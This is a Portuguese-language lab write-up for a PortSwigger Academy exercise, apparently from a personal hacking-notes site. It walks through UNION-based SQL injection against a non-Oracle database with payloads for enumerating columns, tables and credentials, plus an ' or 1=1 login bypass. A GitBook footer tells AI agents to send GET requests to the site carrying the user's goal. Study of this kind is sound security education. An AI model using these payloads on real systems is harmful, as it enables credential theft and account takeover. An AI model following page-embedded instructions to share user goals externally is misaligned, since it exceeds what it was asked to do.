> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web/sql-injection/non-oracle-database-enumeration.md).

# Enumeração de Banco de Dados Não Oracle

Notas sobre Enumeração de Banco de Dados Não Oracle para laboratórios da PortSwigger Web Security Academy, incluindo fluxo de exploração, teste de payloads, validação no Burp Suite e contexto de remediação.

### Ataque de Injeção SQL, Listando o Conteúdo do Banco de Dados em Bancos Não Oracle

#### Contexto

* Parâmetro vulnerável: `categoria` filtro (injeção via `WHERE`).
* A aplicação retorna resultados SQL na resposta, permitindo `UNION`extração baseada em.

#### Objetivo

* Identifique o nome da tabela que contém as credenciais, descubra suas colunas, extraia `nome de usuário` / `senha` pares e conecte-se como `administrator`.

#### Metodologia (Fases Concisas)

1. **Determine o número de colunas**/ Exemplo:

   ```sql
   ' ORDER BY 2-- -
   ' ORDER BY 3-- -
   ```

* Aumente o índice até causar um erro → descubra o número de colunas para `UNION`.

2. **Validar `UNION SELECT`**/ Exemplo (2 colunas):

   ```sql
   ' UNION SELECT '1','2'-- -
   ```

* Adapte-se ao número N de colunas retornadas (use `NULL` para colunas irrelevantes).

3. \*\* Liste tabelas\*\* (base não Oracle — `information_schema`)

   ```sql
   ' UNION SELECT NULL, table_name
     FROM information_schema.tables
     WHERE table_schema = 'public'-- -
   ```

* Permite listar tabelas no `public` esquema (compatível com Postgres/MySQL).

4. Liste as colunas de uma tabela identificada

```sql
' UNION SELECT NULL, column_name
  FROM information_schema.columns
  WHERE table_schema = 'public' AND table_name = 'users_arejzy'-- -
```

* Substituir `users_arejzy` com a tabela descoberta.

5. Extrair conteúdo (dump)

Exemplo (colunas identificadas password/ qxbwwb, username/ lidnwi):

```sql
' UNION SELECT password_qxbwwb, username_lidnwi
  FROM users_arejzy-- -
```

* Ajuste a ordem/tipo das colunas de acordo com a requisição vulnerável (use `CAST`/`CONCAT`/`NULL` se necessário).

6. Bypass / login

* Uma vez que username = administrator e a senha sejam recuperados, conecte-se pela página de autenticação.
* Alternativamente, use um payload de bypass de autenticação se a tabela não estiver acessível diretamente (ex.: username = ' or 1=1-- -), mas a exfiltração direta é preferível para prova.

#### Resultado esperado

* Lista de nomes de tabelas, colunas e depois despejo das credenciais.
* Conexão bem-sucedida como `administrator` usando credenciais exfiltradas.

#### Impacto

* Comprometer contas (escalada completa se for admin), extrair informações sensíveis, alteração/exclusão de dados, possível extorsão.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/pt-br/web/sql-injection/non-oracle-database-enumeration.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
